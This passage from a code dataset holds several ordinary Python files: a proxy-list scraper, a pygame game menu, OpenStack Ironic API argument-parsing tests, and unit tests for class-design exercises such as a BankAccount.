one reverse link\"\"\"\n    entity_a, entity_b = setup_entities\n    entity_c = Entity(7, 'EntityC')\n    entity_d = Entity(9, 'EntityD')\n    # linking\n    entity_a.link_to(entity_b)\n    entity_b.link_to(entity_c)\n    entity_c.link_to(entity_d)\n    entity_d.link_to(entity_b)\n    # cloning\n    entity_e = copy.deepcopy(entity_b)\n\n    assert entity_e == entity_b\n    assert len(entity_b.links) == len(entity_e.links)\n    # e should  have one connection from origin b\n    # and one connection from a\n    # and one connection from d\n    assert len(entity_e.connections) == 3\n","sub_path":"workspan/tests/entity_test.py","file_name":"entity_test.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"186108777","text":"import requests\nfrom lxml import html\nfrom utils.http import get_request_header\nfrom domain import Proxy\nimport time\nfrom settings import SLEEP_TIME\n\nclass BaseSpider(object):\n    urls = []  # 代理IP\b网址的URL的列表\n    group_xpath = ''  # 分组XPATH, 获取包含代理IP信息标签列表的XPATH\n    detail_xpath = {}  # 组内XPATH, 获取代理IP详情的信息XPATH\n    def __init__(self, urls=[], group_xpath='', detail_xpath={}):\n        \"\"\"\n        通用爬虫\n        :param urls:网址列表\n        :param group_xpath: 表格\n        :param detail_xpath: 表格中的单项\n        \"\"\"\n        if urls:  # 如果urls中有数据\n            self.urls = urls\n        if group_xpath:  # 如果group_xpath中有数据\n            self.group_xpath = group_xpath\n        if detail_xpath:  # 如果detail_xpath中有数据\n            self.detail_xpath = detail_xpath\n\n    def get_page_from_url(self,url):\n        #获取页面数据\n        response=requests.get(url,headers=get_request_header())\n        return response.content\n\n    def get_first_from_list(self,lis):\n        return lis[0].strip() if len(lis) != 0 else ''\n\n    def get_proxies_from_page(self,page):\n        #解析页面，获取数据\n        element=html.etree.HTML(page)\n        #获取ip的标签列表\n        trs=element.xpath(self.group_xpath)\n        for tr in trs:\n            ip=self.get_first_from_list(tr.xpath(self.detail_xpath['ip']))\n            port=self.get_first_from_list(tr.xpath(self.detail_xpath['port']))\n            area=self.get_first_from_list(tr.xpath(self.detail_xpath['area']))\n            if ip =='' or  port =='':\n                continue\n            proxy=Proxy(ip=ip,port=port,area=area)\n            #用yield返回\n            yield proxy\n\n    def get_proxies(self):\n        # 对外获取ip\n        for url in self.urls:\n            #获取页面数据\n            page = self.get_page_from_url(url)\n            time.sleep(SLEEP_TIME)\n            #解析页面\n            proxies=self.get_proxies_from_page(page)\n            #返回proxy对象\n            yield from proxies\n\nif __name__==\"__main__\":\n    config={\n        'urls':['https://www.xicidaili.com/nn/{}'.format(i) for i in range(1,2)],\n        'group_xpath':'//*[@id=\"ip_list\"]//tr',\n        'detail_xpath':{\n            'ip':'./td[2]/text()',\n            'port':'./td[3]/text()',\n            'area':'./td[4]/a/text()'\n        }\n    }\n\n    spider=BaseSpider(**config)\n    for p in spider.get_proxies():\n        print(p)","sub_path":"ip代理池/core/proxy_spider/base_spider.py","file_name":"base_spider.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"425136224","text":"# __init__.py\n\nimport pygame\nfrom PygameGame import PygameGame\nimport threading\n\nclass StartGame(PygameGame):\n\tdef __init__(self):\n\t\tsuper().__init__(width=1300, height=700, fps=60, title='MiniBall')\n\t\tself.bgColor = (50, 103, 68)\n\t\tself.mode = 'startScreen'\n\n\tdef init(self):\n\t\t# Title Image\n\t\tself.titleImage = pygame.image.load('Images/StartScreen/title.png')\n\t\ttitleWidth, titleHeight = self.titleImage.get_size()\n\t\tself.titleRect = (self.width/2 - titleWidth/2, self.height * 0.15 - titleHeight/2,\n\t\t\t\t\t\t  self.width/2 + titleWidth/2, self.height * 0.15 + titleHeight/2)\n\n\t\t# Game options (Start Screen)\n\t\tself.option1Image = pygame.image.load('Images/StartScreen/playComp.png')\n\t\tself.option1Dir = 'Images/StartScreen/playComp.png'\n\t\toption1Width, option1Height = self.option1Image.get_size()\n\t\tself.option1Left, self.option1Top = self.width * 0.2 - option1Width/2, self.height * 0.6 - option1Height/2\n\t\tself.option1Right, self.option1Bottom = self.width * 0.2 + option1Width/2, self.height * 0.6 + option1Height/2\n\t\tself.option1Rect = (self.option1Left, self.option1Top, self.option1Right, self.option1Bottom)\n\n\t\tself.option2Image = pygame.image.load('Images/StartScreen/playFriend.png')\n\t\tself.option2Dir = 'Images/StartScreen/playFriend.png'\n\t\toption2Width, option2Height = self.option2Image.get_size()\n\t\tself.option2Left, self.option2Top = self.width * 0.5 - option2Width/2, self.height * 0.6 - option2Height/2\n\t\tself.option2Right, self.option2Bottom = self.width * 0.5 + option2Width/2, self.height * 0.6 + option2Height/2\n\t\tself.option2Rect = (self.option2Left, self.option2Top, self.option2Right, self.option2Bottom)\n\n\t\tself.option3Image = pygame.image.load('Images/StartScreen/createGame.png')\n\t\tself.option3Dir = 'Images/StartScreen/createGame.png'\n\t\toption3Width, option3Height = self.option3Image.get_size()\n\t\tself.option3Left, self.option3Top = self.width * 0.8 - option3Width/2, self.height * 0.46 - option3Height/2\n\t\tself.option3Right, self.option3Bottom = self.width * 0.8 + option3Width/2, self.height * 0.46 + option3Height/2\n\t\tself.option3Rect = (self.option3Left, self.option3Top, self.option3Right, self.option3Bottom)\n\n\t\tself.option4Image = pygame.image.load('Images/StartScreen/joinGame.png')\n\t\tself.option4Dir = 'Images/StartScreen/joinGame.png'\n\t\toption4Width, option4Height = self.option4Image.get_size()\n\t\tself.option4Left, self.option4Top = self.width * 0.8 - option4Width/2, self.height * 0.74 - option4Height/2,\n\t\tself.option4Right, self.option4Bottom = self.width * 0.8 + option4Width/2, self.height * 0.74 + option4Height/2\n\t\tself.option4Rect = (self.option4Left, self.option4Top, self.option4Right, self.option4Bottom)\n\n\t\tself.redTeam = ['Player1', 'Player3', 'Player5', 'Player7']\n\t\tself.blueTeam = ['Player2', 'Player4', 'Player6', 'Player8']\n\n\t\t# This is the input box to enter the ip address of a host for someone wanting to play online multiplayer\n\t\t# This module is from Silas Gyger found at https://github.com/Nearoo/pygame-text-input\n\t\timport textInput.pygame_textinput\n\t\tself.textinput = textInput.pygame_textinput.TextInput(font_size=65)\n\n\t###################################\n\t# Mode dispatcher\n\t###################################\n\n\tdef mousePressed(self, x, y):\n\t\tif self.mode == 'startScreen':\n\t\t\tself.startScreenMousePressed(x, y)\n\t\telif self.mode == 'joinGame':\n\t\t\tself.joinGameMousePressed(x, y)\n\n\tdef timerFired(self, dt):\n\t\tif self.mode == 'playFriend':\n\t\t\t# Initialize the game (offline)\n\t\t\timport local\n\t\t\tofflineGame = local.PlayGame()\n\t\t\tofflineGame.init()\n\t\t\tofflineGame.run()\n\n\t\telif self.mode == 'createGame':\n\t\t\timport server\n\t\t\tthreading.Thread(target = server.main).start()\n\n\t\t\timport client\n\t\t\tclient.main(isHost=True)\n\n\t\telif self.mode == 'joinGame':\n\t\t\tself.joinGameTimerFired(dt)\n\n\t\telif self.mode == 'playComputer':\n\t\t\timport playAI\n\t\t\tplayComputer = playAI.PlayGame()\n\t\t\tplayComputer.init()\n\t\t\tplayComputer.run()\n\n\tdef redrawAll(self, screen):\n\t\tif self.mode == 'startScreen':\n\t\t\tself.startScreenRedrawAll(screen)\n\t\telif self.mode == 'joinGame':\n\t\t\tself.joinGameRedrawAll(screen)\n\n\t###################################\n\t# Start Screen\n\t###################################\n\n\tdef startScreenMousePressed(self, x, y):\n\t\tif x >= self.option1Left and x <= self.option1Right and y >= self.option1Top and y <= self.option1Bottom:\n\t\t\tself.mode = 'playComputer'\n\t\tif x >= self.option2Left and x <= self.option2Right and y >= self.option2Top and y <= self.option2Bottom:\n\t\t\tself.mode = 'playFriend'\n\t\tif x >= self.option3Left and x <= self.option3Right and y >= self.option3Top and y <= self.option3Bottom:\n\t\t\tself.mode = 'createGame'\n\t\tif x >= self.option4Left and x <= self.option4Right and y >= self.option4Top and y <= self.option4Bottom:\n\t\t\tself.mode = 'joinGame'\n\n\tdef startScreenRedrawAll(self, screen):\n\t\tscreen.blit(self.titleImage, pygame.Rect(self.titleRect))\n\n\t\t# Highlight an option if the mouse is over it\n\t\tmx, my = pygame.mouse.get_pos()\n\t\tif mx >= self.option1Left and mx <= self.option1Right and my >= self.option1Top and my <= self.option1Bottom:\n\t\t\toption1Dir = self.option1Dir[:-4] + 'High' + self.option1Dir[-4:]\n\t\telse: option1Dir = self.option1Dir\n\t\tif mx >= self.option2Left and mx <= self.option2Right and my >= self.option2Top and my <= self.option2Bottom:\n\t\t\toption2Dir = self.option2Dir[:-4] + 'High' + self.option2Dir[-4:]\n\t\telse: option2Dir = self.option2Dir\n\t\tif mx >= self.option3Left and mx <= self.option3Right and my >= self.option3Top and my <= self.option3Bottom:\n\t\t\toption3Dir = self.option3Dir[:-4] + 'High' + self.option3Dir[-4:]\n\t\telse: option3Dir = self.option3Dir\n\t\tif mx >= self.option4Left and mx <= self.option4Right and my >= self.option4Top and my <= self.option4Bottom:\n\t\t\toption4Dir = self.option4Dir[:-4] + 'High' + self.option4Dir[-4:]\n\t\telse: option4Dir = self.option4Dir\n\n\t\toption1Image = pygame.image.load(option1Dir)\n\t\toption2Image = pygame.image.load(option2Dir)\n\t\toption3Image = pygame.image.load(option3Dir)\n\t\toption4Image = pygame.image.load(option4Dir)\n\t\tscreen.blit(option1Image, pygame.Rect(self.option1Rect))\n\t\tscreen.blit(option2Image, pygame.Rect(self.option2Rect))\n\t\tscreen.blit(option3Image, pygame.Rect(self.option3Rect))\n\t\tscreen.blit(option4Image, pygame.Rect(self.option4Rect))\n\n\t###################################\n\t# Join Game Screen\n\t###################################\n\t\n\tdef joinGameMousePressed(self, x, y):\n\t\tif x >= self.backButtonMargin and x <= self.backButtonMargin + self.backW and \\\n\t\t\ty >= self.backButtonMargin and y <= self.backButtonMargin + self.backH:\n\t\t\tself.mode = 'startScreen'\n\n\tdef joinGameTimerFired(self, dt):\n\t\t# Ask for IP address\n\t\tif self.textinput.update(pygame.event.get(pygame.KEYDOWN)):\n\t\t\t# When they hit enter join the server\n\t\t\tIPAdd = self.textinput.get_text()\n\t\t\timport client\n\t\t\tclient.main(isHost=False, IP=IPAdd)\n\n\tdef joinGameRedrawAll(self, screen):\n\t\tpopup = pygame.image.load('Images/enterIP.png')\n\t\twidth, height = popup.get_size()\n\t\tpopupRect = (self.width/2 - width/2, self.height * 0.46 - height/2, self.width/2 + width/2, self.height * 0.46 + height/2)\n\t\ttextbox = pygame.image.load('Images/textbox.png')\n\t\ttxtW, txtH = textbox.get_size()\n\t\ttxtRect = (self.width/2 - txtW/2, self.height/2 - txtH/2, self.width/2 + txtW/2, self.height + txtH/2)\n\t\tbackButton = pygame.image.load('Images/backButton.png')\n\t\tself.backW, self.backH = backButton.get_size()\n\t\tself.backButtonMargin = self.width * 0.02\n\t\tbackRect = (self.backButtonMargin, self.backButtonMargin, self.backButtonMargin + self.backW, self.backButtonMargin + self.backH)\n\n\t\tscreen.blit(popup, pygame.Rect(popupRect))\n\t\tscreen.blit(textbox, pygame.Rect(txtRect))\n\t\tscreen.blit(self.textinput.get_surface(), (self.width/2 - txtW * 0.48, self.height/2 - txtH * 0.3))\n\t\tscreen.blit(backButton, pygame.Rect(backRect))\n\ndef main():\n\tgame = StartGame()\n\tgame.run()\n\nif __name__ == '__main__':\n    main()","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"108287552","text":"# Copyright 2020 Red Hat, Inc.\n# All Rights Reserved.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\nimport datetime\nimport decimal\nimport io\n\nfrom webob import multidict\n\nfrom ironic.api import args\nfrom ironic.api.controllers.v1 import types\nfrom ironic.api import functions\nfrom ironic.api import types as atypes\nfrom ironic.common import exception\nfrom ironic.tests import base as test_base\n\n\nclass Obj(atypes.Base):\n\n    id = atypes.wsattr(int, mandatory=True)\n    name = str\n    readonly_field = atypes.wsattr(str, readonly=True)\n    default_field = atypes.wsattr(str, default='foo')\n    unset_me = str\n\n\nclass NestedObj(atypes.Base):\n    o = Obj\n\n\nclass TestArgs(test_base.TestCase):\n\n    def test_fromjson_array(self):\n        atype = atypes.ArrayType(int)\n        self.assertEqual(\n            [0, 1, 1234, None],\n            args.fromjson_array(atype, [0, '1', '1_234', None])\n        )\n        self.assertRaises(ValueError, args.fromjson_array,\n                          atype, ['one', 'two', 'three'])\n        self.assertRaises(ValueError, args.fromjson_array,\n                          atype, 'one')\n\n    def test_fromjson_dict(self):\n        dtype = atypes.DictType(str, int)\n        self.assertEqual({\n            'zero': 0,\n            'one': 1,\n            'etc': 1234,\n            'none': None\n        }, args.fromjson_dict(dtype, {\n            'zero': 0,\n            'one': '1',\n            'etc': '1_234',\n            'none': None\n        }))\n\n        self.assertRaises(ValueError, args.fromjson_dict,\n                          dtype, [])\n        self.assertRaises(ValueError, args.fromjson_dict,\n                          dtype, {'one': 'one'})\n\n    def test_fromjson_bool(self):\n        for b in (1, 2, True, 'true', 't', 'yes', 'y', 'on', '1'):\n            self.assertTrue(args.fromjson_bool(b))\n        for b in (0, False, 'false', 'f', 'no', 'n', 'off', '0'):\n            self.assertFalse(args.fromjson_bool(b))\n        for b in ('yup', 'yeet', 'NOPE', 3.14):\n            self.assertRaises(ValueError, args.fromjson_bool, b)\n\n    def test_fromjson(self):\n        # parse None\n        self.assertIsNone(args.fromjson(None, None))\n\n        # parse array\n        atype = atypes.ArrayType(int)\n        self.assertEqual(\n            [0, 1, 1234, None],\n            args.fromjson(atype, [0, '1', '1_234', None])\n        )\n\n        # parse dict\n        dtype = atypes.DictType(str, int)\n        self.assertEqual({\n            'zero': 0,\n            'one': 1,\n            'etc': 1234,\n            'none': None\n        }, args.fromjson(dtype, {\n            'zero': 0,\n            'one': '1',\n            'etc': '1_234',\n            'none': None\n        }))\n\n        # parse bytes\n        self.assertEqual(\n            b'asdf',\n            args.fromjson(bytes, b'asdf')\n        )\n        self.assertEqual(\n            b'asdf',\n            args.fromjson(bytes, 'asdf')\n        )\n        self.assertEqual(\n            b'33',\n            args.fromjson(bytes, 33)\n        )\n        self.assertEqual(\n            b'3.14',\n            args.fromjson(bytes, 3.14)\n        )\n\n        # parse str\n        self.assertEqual(\n            'asdf',\n            args.fromjson(str, b'asdf')\n        )\n        self.assertEqual(\n            'asdf',\n            args.fromjson(str, 'asdf')\n        )\n\n        # parse int/float\n        self.assertEqual(\n            3,\n            args.fromjson(int, '3')\n        )\n        self.assertEqual(\n            3,\n            args.fromjson(int, 3)\n        )\n        self.assertEqual(\n            3.14,\n            args.fromjson(float, 3.14)\n        )\n\n        # parse bool\n        self.assertFalse(args.fromjson(bool, 'no'))\n        self.assertTrue(args.fromjson(bool, 'yes'))\n\n        # parse decimal\n        self.assertEqual(\n            decimal.Decimal(3.14),\n            args.fromjson(decimal.Decimal, 3.14)\n        )\n\n        # parse datetime\n        expected = datetime.datetime(2015, 8, 13, 11, 38, 9, 496475)\n        self.assertEqual(\n            expected,\n            args.fromjson(datetime.datetime, '2015-08-13T11:38:09.496475')\n        )\n\n        # parse complex\n        n = args.fromjson(NestedObj, {'o': {\n            'id': 1234,\n            'name': 'an object'\n        }})\n        self.assertIsInstance(n.o, Obj)\n        self.assertEqual(1234, n.o.id)\n        self.assertEqual('an object', n.o.name)\n        self.assertEqual('foo', n.o.default_field)\n\n        # parse usertype\n        self.assertEqual(\n            ['0', '1', '2', 'three'],\n            args.fromjson(types.listtype, '0,1, 2, three')\n        )\n\n    def test_fromjson_complex(self):\n        n = args.fromjson_complex(NestedObj, {'o': {\n            'id': 1234,\n            'name': 'an object'\n        }})\n        self.assertIsInstance(n.o, Obj)\n        self.assertEqual(1234, n.o.id)\n        self.assertEqual('an object', n.o.name)\n        self.assertEqual('foo', n.o.default_field)\n\n        e = self.assertRaises(exception.UnknownAttribute,\n                              args.fromjson_complex,\n                              Obj, {'ooo': {}})\n        self.assertEqual({'ooo'}, e.attributes)\n\n        e = self.assertRaises(exception.InvalidInput, args.fromjson_complex,\n                              Obj,\n                              {'name': 'an object'})\n        self.assertEqual('id', e.fieldname)\n        self.assertEqual('Mandatory field missing.', e.msg)\n\n        e = self.assertRaises(exception.InvalidInput, args.fromjson_complex,\n                              Obj,\n                              {'id': 1234, 'readonly_field': 'foo'})\n        self.assertEqual('readonly_field', e.fieldname)\n        self.assertEqual('Cannot set read only field.', e.msg)\n\n    def test_parse(self):\n        # source as bytes\n        s = b'{\"o\": {\"id\": 1234, \"name\": \"an object\"}}'\n\n        # test bodyarg=True\n        n = args.parse(s, {\"o\": NestedObj}, True)['o']\n        self.assertEqual(1234, n.o.id)\n        self.assertEqual('an object', n.o.name)\n\n        # source as file\n        s = io.StringIO('{\"o\": {\"id\": 1234, \"name\": \"an object\"}}')\n\n        # test bodyarg=False\n        n = args.parse(s, {\"o\": Obj}, False)['o']\n        self.assertEqual(1234, n.id)\n        self.assertEqual('an object', n.name)\n\n        # fromjson ValueError\n        s = '{\"o\": [\"id\", \"name\"]}'\n        self.assertRaises(exception.InvalidInput, args.parse,\n                          s, {\"o\": atypes.DictType(str, str)}, False)\n        s = '[\"id\", \"name\"]'\n        self.assertRaises(exception.InvalidInput, args.parse,\n                          s, {\"o\": atypes.DictType(str, str)}, True)\n\n        # fromjson UnknownAttribute\n        s = '{\"o\": {\"foo\": \"bar\", \"id\": 1234, \"name\": \"an object\"}}'\n        self.assertRaises(exception.UnknownAttribute, args.parse,\n                          s, {\"o\": NestedObj}, True)\n        self.assertRaises(exception.UnknownAttribute, args.parse,\n                          s, {\"o\": Obj}, False)\n\n        # invalid json\n        s = '{Sunn O)))}'\n        self.assertRaises(exception.ClientSideError, args.parse,\n                          s, {\"o\": Obj}, False)\n\n        # extra args\n        s = '{\"foo\": \"bar\", \"o\": {\"id\": 1234, \"name\": \"an object\"}}'\n        self.assertRaises(exception.UnknownArgument, args.parse,\n                          s, {\"o\": Obj}, False)\n\n    def test_from_param(self):\n        # datetime param\n        expected = datetime.datetime(2015, 8, 13, 11, 38, 9, 496475)\n        self.assertEqual(\n            expected,\n            args.from_param(datetime.datetime, '2015-08-13T11:38:09.496475')\n        )\n        self.assertIsNone(args.from_param(datetime.datetime, None))\n\n        # usertype param\n        self.assertEqual(\n            ['0', '1', '2', 'three'],\n            args.from_param(types.listtype, '0,1, 2, three')\n        )\n\n        # array param\n        atype = atypes.ArrayType(int)\n        self.assertEqual(\n            [0, 1, 1234, None],\n            args.from_param(atype, [0, '1', '1_234', None])\n        )\n        self.assertIsNone(args.from_param(atype, None))\n\n        # string param\n        self.assertEqual('foo', args.from_param(str, 'foo'))\n        self.assertIsNone(args.from_param(str, None))\n\n        # string param with from_params\n        hit_paths = set()\n        params = multidict.MultiDict(\n            foo='bar',\n        )\n        self.assertEqual(\n            'bar',\n            args.from_params(str, params, 'foo', hit_paths)\n        )\n        self.assertEqual({'foo'}, hit_paths)\n\n    def test_array_from_params(self):\n        hit_paths = set()\n        datatype = atypes.ArrayType(str)\n        params = multidict.MultiDict(\n            foo='bar',\n            one='two'\n        )\n        self.assertEqual(\n            ['bar'],\n            args.from_params(datatype, params, 'foo', hit_paths)\n        )\n        self.assertEqual({'foo'}, hit_paths)\n        self.assertEqual(\n            ['two'],\n            args.array_from_params(datatype, params, 'one', hit_paths)\n        )\n        self.assertEqual({'foo', 'one'}, hit_paths)\n\n    def test_usertype_from_params(self):\n        hit_paths = set()\n        datatype = types.listtype\n        params = multidict.MultiDict(\n            foo='0,1, 2, three',\n        )\n        self.assertEqual(\n            ['0', '1', '2', 'three'],\n            args.usertype_from_params(datatype, params, 'foo', hit_paths)\n        )\n        self.assertEqual(\n            ['0', '1', '2', 'three'],\n            args.from_params(datatype, params, 'foo', hit_paths)\n        )\n        self.assertEqual(\n            atypes.Unset,\n            args.usertype_from_params(datatype, params, 'bar', hit_paths)\n        )\n\n    def test_args_from_args(self):\n\n        fromargs = ['one', 2, [0, '1', '2_34']]\n        fromkwargs = {'foo': '1, 2, 3'}\n\n        @functions.signature(str, str, int, atypes.ArrayType(int),\n                             types.listtype)\n        def myfunc(self, first, second, third, foo):\n            pass\n        funcdef = functions.FunctionDefinition.get(myfunc)\n\n        newargs, newkwargs = args.args_from_args(funcdef, fromargs, fromkwargs)\n        self.assertEqual(['one', 2, [0, 1, 234]], newargs)\n        self.assertEqual({'foo': ['1', '2', '3']}, newkwargs)\n\n    def test_args_from_params(self):\n\n        @functions.signature(str, str, int, atypes.ArrayType(int),\n                             types.listtype)\n        def myfunc(self, first, second, third, foo):\n            pass\n        funcdef = functions.FunctionDefinition.get(myfunc)\n        params = multidict.MultiDict(\n            foo='0,1, 2, three',\n            third='1',\n            second='2'\n        )\n        self.assertEqual(\n            ([], {'foo': ['0', '1', '2', 'three'], 'second': 2, 'third': [1]}),\n            args.args_from_params(funcdef, params)\n        )\n\n        # unexpected param\n        params = multidict.MultiDict(bar='baz')\n        self.assertRaises(exception.UnknownArgument, args.args_from_params,\n                          funcdef, params)\n\n        # no params plus a body\n        params = multidict.MultiDict(__body__='')\n        self.assertEqual(\n            ([], {}),\n            args.args_from_params(funcdef, params)\n        )\n\n    def test_args_from_body(self):\n        @functions.signature(str, body=NestedObj)\n        def myfunc(self, nested):\n            pass\n        funcdef = functions.FunctionDefinition.get(myfunc)\n        mimetype = 'application/json'\n        body = b'{\"o\": {\"id\": 1234, \"name\": \"an object\"}}'\n        newargs, newkwargs = args.args_from_body(funcdef, body, mimetype)\n\n        self.assertEqual(1234, newkwargs['nested'].o.id)\n        self.assertEqual('an object', newkwargs['nested'].o.name)\n\n        self.assertEqual(\n            ((), {}),\n            args.args_from_body(funcdef, None, mimetype)\n        )\n\n        self.assertRaises(exception.ClientSideError, args.args_from_body,\n                          funcdef, body, 'application/x-corba')\n\n        self.assertEqual(\n            ((), {}),\n            args.args_from_body(funcdef, body,\n                                'application/x-www-form-urlencoded')\n        )\n\n    def test_combine_args(self):\n\n        @functions.signature(str, str, int)\n        def myfunc(self, first, second,):\n            pass\n        funcdef = functions.FunctionDefinition.get(myfunc)\n\n        # empty\n        self.assertEqual(\n            ([], {}),\n            args.combine_args(\n                funcdef, (\n                    ([], {}),\n                    ([], {}),\n                )\n            )\n        )\n\n        # combine kwargs\n        self.assertEqual(\n            ([], {'first': 'one', 'second': 'two'}),\n            args.combine_args(\n                funcdef, (\n                    ([], {}),\n                    ([], {'first': 'one', 'second': 'two'}),\n                )\n            )\n        )\n\n        # combine mixed args\n        self.assertEqual(\n            ([], {'first': 'one', 'second': 'two'}),\n            args.combine_args(\n                funcdef, (\n                    (['one'], {}),\n                    ([], {'second': 'two'}),\n                )\n            )\n        )\n\n        # override kwargs\n        self.assertEqual(\n            ([], {'first': 'two'}),\n            args.combine_args(\n                funcdef, (\n                    ([], {'first': 'one'}),\n                    ([], {'first': 'two'}),\n                ),\n                allow_override=True\n            )\n        )\n\n        # override args\n        self.assertEqual(\n            ([], {'first': 'two', 'second': 'three'}),\n            args.combine_args(\n                funcdef, (\n                    (['one', 'three'], {}),\n                    (['two'], {}),\n                ),\n                allow_override=True\n            )\n        )\n\n        # can't override args\n        self.assertRaises(exception.ClientSideError, args.combine_args,\n                          funcdef,\n                          ((['one'], {}), (['two'], {})))\n\n        # can't override kwargs\n        self.assertRaises(exception.ClientSideError, args.combine_args,\n                          funcdef,\n                          (([], {'first': 'one'}), ([], {'first': 'two'})))\n\n    def test_get_args(self):\n        @functions.signature(str, str, int, atypes.ArrayType(int),\n                             types.listtype, body=NestedObj)\n        def myfunc(self, first, second, third, foo, nested):\n            pass\n        funcdef = functions.FunctionDefinition.get(myfunc)\n        params = multidict.MultiDict(\n            foo='0,1, 2, three',\n            second='2'\n        )\n        mimetype = 'application/json'\n        body = b'{\"o\": {\"id\": 1234, \"name\": \"an object\"}}'\n        fromargs = ['one']\n        fromkwargs = {'third': '1'}\n\n        newargs, newkwargs = args.get_args(funcdef, fromargs, fromkwargs,\n                                           params, body, mimetype)\n        self.assertEqual([], newargs)\n        n = newkwargs.pop('nested')\n        self.assertEqual({\n            'first': 'one',\n            'foo': ['0', '1', '2', 'three'],\n            'second': 2,\n            'third': [1]},\n            newkwargs\n        )\n        self.assertEqual(1234, n.o.id)\n        self.assertEqual('an object', n.o.name)\n\n        # check_arguments missing mandatory argument 'second'\n        params = multidict.MultiDict(\n            foo='0,1, 2, three',\n        )\n        self.assertRaises(exception.MissingArgument, args.get_args,\n                          funcdef, fromargs, fromkwargs,\n                          params, body, mimetype)\n","sub_path":"ironic/tests/unit/api/test_args.py","file_name":"test_args.py","file_ext":"py","file_size_in_byte":16000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"62607989","text":"\"\"\"Tests for classes exercises\"\"\"\nfrom contextlib import contextmanager\nfrom datetime import date, timedelta\nfrom itertools import cycle, permutations\nfrom locale import setlocale, LC_TIME\nimport random\nfrom string import ascii_uppercase\nfrom timeit import default_timer\nimport unittest\n\n\nfrom classes import (\n    BankAccount,\n    SuperMap,\n    MinHeap,\n    Flavor,\n    Size,\n    IceCream,\n    Month,\n    MonthDelta,\n    Row,\n)\n\n\nrandom.seed(0)\n\nnames = permutations(ascii_uppercase, 6)\ncolors = cycle([\n    'purple', 'green', 'pink', 'blue', 'black', 'orange', 'yellow',\n])\n\n\nclass BankAccountTests(unittest.TestCase):\n\n    \"\"\"Tests for BankAccount.\"\"\"\n\n    def test_new_account_balance_default(self):\n        account = BankAccount()\n        self.assertEqual(account.balance, 0)\n\n    def test_opening_balance(self):\n        account = BankAccount(balance=100)\n        self.assertEqual(account.balance, 100)\n\n    def test_deposit(self):\n        account = BankAccount()\n        account.deposit(100)\n        self.assertEqual(account.balance, 100)\n\n    def test_withdraw(self):\n        account = BankAccount(balance=100)\n        account.withdraw(40)\n        self.assertEqual(account.balance, 60)\n\n    def test_repr(self):\n        account = BankAccount()\n        self.assertEqual(repr(account), 'BankAccount(balance=0)')\n        account.deposit(200)\n        self.assertEqual(repr(account), 'BankAccount(balance=200)')\n\n    def test_transfer(self):\n        mary_account = BankAccount(balance=100)\n        dana_account = BankAccount(balance=0)\n        mary_account.transfer(dana_account, 20)\n        self.assertEqual(mary_account.balance, 80)\n        self.assertEqual(dana_account.balance, 20)\n\n    @unittest.skip(\"BankAccount Transactions\")\n    def test_transactions_open(self):\n        expected_transactions = [\n            ('OPEN', 100, 100),\n        ]\n        account = BankAccount(balance=100)\n        self.assertEqual(account.transactions, expected_transactions)\n\n    @unittest.skip(\"BankAccount Transactions\")\n    def test_transactions_deposit(self):\n        expected_transactions = [\n            ('OPEN', 0, 0),\n            ('DEPOSIT', 100, 100),\n        ]\n        account = BankAccount()\n        account.deposit(100)\n        self.assertEqual(account.transactions, expected_transactions)\n\n    @unittest.skip(\"BankAccount Transactions\")\n    def test_transactions_withdraw(self):\n        expected_transactions = [\n            ('OPEN', 100, 100),\n            ('WITHDRAWAL', -40, 60),\n        ]\n        account = BankAccount(balance=100)\n        account.withdraw(40)\n        self.assertEqual(account.transactions, expected_transactions)\n\n    @unittest.skip(\"BankAccount Transactions\")\n    def test_transactions_scenario(self):\n        expected_transactions = [\n            ('OPEN', 0, 0),\n            ('DEPOSIT', 100, 100),\n            ('WITHDRAWAL', -40, 60),\n            ('DEPOSIT', 95, 155),\n        ]\n        account = BankAccount()\n        account.deposit(100)\n        account.withdraw(40)\n        account.deposit(95)\n        self.assertEqual(account.transactions, expected_transactions)\n\n    @unittest.skip(\"Truthy BankAccount\")\n    def test_truthy_accounts(self):\n        account = BankAccount()\n        self.assertIs(bool(account), False)\n        account.deposit(100)\n        self.assertIs(bool(account), True)\n\n    @unittest.skip(\"Comparable BankAccount\")\n    def test_account_comparisons(self):\n        account1 = BankAccount()\n        account2 = BankAccount()\n        self.assertTrue(account1 == account2)\n        self.assertTrue(account1 >= account2)\n        self.assertTrue(account1 <= account2)\n        account1.deposit(100)\n        account2.deposit(10)\n        self.assertTrue(account1 != account2)\n        self.assertTrue(account2 < account1)\n        self.assertTrue(account1 > account2)\n        self.assertTrue(account2 < account1)\n        self.assertTrue(account1 >= account2)\n        self.assertTrue(account2 <= account1)\n\n    @unittest.skip(\"Read-Only BankAccount\")\n    def test_balance_cannot_be_written(self):\n        account1 = BankAccount()\n        account2 = BankAccount(100)\n        self.assertEqual(account1.balance, 0)\n        with self.assertRaises(Exception):\n            account1.balance = 50\n        self.assertEqual(account1.balance, 0)\n        self.assertEqual(account2.balance, 100)\n        with self.assertRaises(Exception):\n            account2.balance = 50\n        self.assertEqual(account2.balance, 100)\n        account1.deposit(100)\n        account2.deposit(10)\n        self.assertEqual(account1.balance, 100)\n        self.assertEqual(account2.balance, 110)\n        with self.assertRaises(Exception):\n            account2.balance = 500\n        self.assertEqual(account2.balance, 110)\n        account2.transfer(account1, 50)\n        self.assertEqual(account1.balance, 150)\n        self.assertEqual(account2.balance, 60)\n\n    @unittest.skip(\"Hidden Balance\")\n    def test_dir_does_not_show_balance_attribute(self):\n        account = BankAccount()\n        account.deposit(100)\n        self.assertNotIn('_balance', dir(account))\n        allowed = {\n            'accounts',\n            'balance',\n            'deposit',\n            'withdraw',\n            'transfer',\n            